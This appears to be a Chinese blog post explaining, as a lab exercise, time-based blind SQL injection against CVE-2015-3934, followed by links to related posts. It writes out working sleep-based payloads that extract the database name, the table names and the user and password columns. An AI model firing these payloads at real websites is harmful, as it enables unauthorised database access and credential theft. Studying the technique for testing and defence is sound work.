CVE-2015-3934 sql盲注payload

原创 2018年04月15日 17:55:24

刚刚看到CVE-2015-3934这个sql注入漏洞,发现实验机器给的脚本不算太完整,略过了数据库名和表名的猜解,直接从字段名猜解开始了。


这里以这个漏洞的payload为例,写一下整个的大体流程,也梳理一下。


这个一个基于时间的sql盲注:

python脚本,通过sql的sleep()函数控制时间,配合requests库中的timeout选项,来判断返回


原查询语句为:


用来判断注入点的语句为(语句包含单引号,url编码中%2B代表加号):user=' %2B(select(0)from(select(sleep(5)))v)%2B' 

因此构造后的sql语句: ...AND user=''%2B(select(0)from(select(sleep(5)))v)%2B'' AND password='md5';

可以看出来,使用select嵌套查询


先简单说一下select嵌套查询

基本结构

select * from(select()v)

v是第二个select的别名

至于本题为什么必须要用select嵌套查询,猜是有过滤


在本地的security(长度为8)数据库里建立一个表如下,


假设php中查询语句为:select pass from uu where user = '$user'

因此 先判断database的长度,可以传参user='+(select(0)from(select(IF(length(database())=i,sleep(5),0)))v)+'

其中的i为一个变量,当i为1~7时,查询结果为


可以看出来 0s返回结果

因为我本地测试的数据库名长度为8,所以当i为8时:


返回时间变为了5s


然后判断数据库名字:

可以传参user='+(select(0)from(select(if(ascii(substring(database(),i,1))=mid,sleep(5),1)))v)+'

其中i为database的长度,mid为猜解字符的ascii码,范围为32~126

在这里本地只演示一下第一位字符的判断:


字符s的ascii码为115,所以这个sleep了5s才返回,否则0s返回


同样的,对于表名的判断,与数据库相似:

所有表长度:

user='+(select(0)from(select(if(length(group_concat(table_name))=i,sleep(5),0))from(informaiton_schema.tables)where(table_schema=database()))v)

如下图,这个所有表加逗号的长度为32

表名猜解:

user='+(select(0)from(select(if(ascii(substr(group_concat(table_name),i,1))=mid,sleep(5),0))from(information_schema.tables)where(table_schema=database()))v)+' 其中i为上面获取的表的长度,mid为猜解字符的asc码

以我演示的为例,第一个字符为e,对应ascii码为101,因此:


表之间使用逗号连接


然后便是列长度,名的猜解,与表相似,不再赘述


回到题目:猜解数据库长度和名字的exp:


(写代码时候只顾着测试忘记写在虚拟机外面了。。结果复制不出来,将就看吧)

顺藤摸瓜,猜解表,列的exp


然后是题目给出的最终的爆破exp:


可以看见,数据库为fiyo,表名为fiyo60_user,列名为user,password


ps:group_concat(table_name) 表示将table_name使用逗号连接然后输出


group_concat(user,0x2c,password) 表示将user和password使用逗号连接然后输出


详解SQL盲注测试高级技巧

写在前面: 这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了。但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进。 正文:...
  • xysoul
  • xysoul
  • 2015-04-30 14:28:51
  • 435

Java写Sql注入时间盲注Demo对Mysql的substring、 case when 、offset、使用以及payload

突然想做ctf题遇到了问题。 记录下几个函数的使用substring是切割函数,可以切割指定字符先select version 切割 一定别忘了看用 select 1,1就是说从1开始的到...
  • qq_28295425
  • qq_28295425
  • 2017-05-23 21:58:35
  • 737

SQL注入篇 盲注总汇

最近看了一些盲注习题,在这里想总结一下吧。盲注其实可以代替任何注入,但基本的注入比盲注简单。在这里我先解析几道盲注的习题。 1. JSOJ的题目Simple Injection 1. 首先用wvs...
  • qq_31481187
  • qq_31481187
  • 2016-10-15 01:21:39
  • 2051

WEB安全实战(一)SQL盲注

前言 好长时间没有写过东西了,不是不想写,只不过是一直静不下心来写点东西。当然,拖了这么长的时间,也总该写点什么的。最近刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈最近接触到的安...
  • happylee6688
  • happylee6688
  • 2014-10-30 10:29:05
  • 28416

简单sql盲注的后台解决

算是提供思路吧,基本的就是对特殊字符进行替换,究其根本的解决之道,还有就是前台也可以进行特殊字符的替换,算是双管齐下吧,还有很多的解决之道,在此不做过多描述,该演示代码中提供了JS的前台替换语句及后台...
  • arthurzil
  • arthurzil
  • 2011-10-11 16:19:54
  • 13074

DVWA平台之sql盲注学习

首先声明,本文参考了以下文章,这几篇都写得挺详细了,本文只是个人的整理以及实践: 1、http://www.myhack58.com/Article/html/3/7/2011/32223.htm 2...
  • wenjie93
  • wenjie93
  • 2015-03-08 18:46:45
  • 1268

WEB手动漏洞挖掘-SQL盲注(DVWA实战)

select * from table_name where id = ’ 1’ and 1=1– ’ 在盲注里至少要有一个正确的结果;否则不显示; 1'order by 5--+...
  • qq_33936481
  • qq_33936481
  • 2016-05-20 19:39:45
  • 2864

安全加固____sql盲注

转自:http://blog.csdn.net/happylee6688/article/details/40615575 WEB安全实战(一)SQL盲注 标签: sql注...
  • qq827245563
  • qq827245563
  • 2017-03-14 16:12:14
  • 547

SQL报错型盲注教程(原理全剖析)

深入分析基于报错的sql盲注原理,解密“公式”的奥秘
  • qq_35544379
  • qq_35544379
  • 2017-08-21 17:22:17
  • 897

通过DVWA学习SQL盲注

本文是本人学习过程中做的笔记,不足之处很多,望各位大牛指导一下~ 在SQL盲注中,并不会像之前的SQL注入一样显示数据库内建的报错信息,而是显示通用的错误提示,也就是说SQL注入将不能依靠错误信息来判...
  • SKI_12
  • SKI_12
  • 2017-02-21 21:34:57
  • 2176
收藏助手
不良信息举报
您举报文章:CVE-2015-3934 sql盲注payload
举报原因:
原因补充:

(最多只允许输入30个字)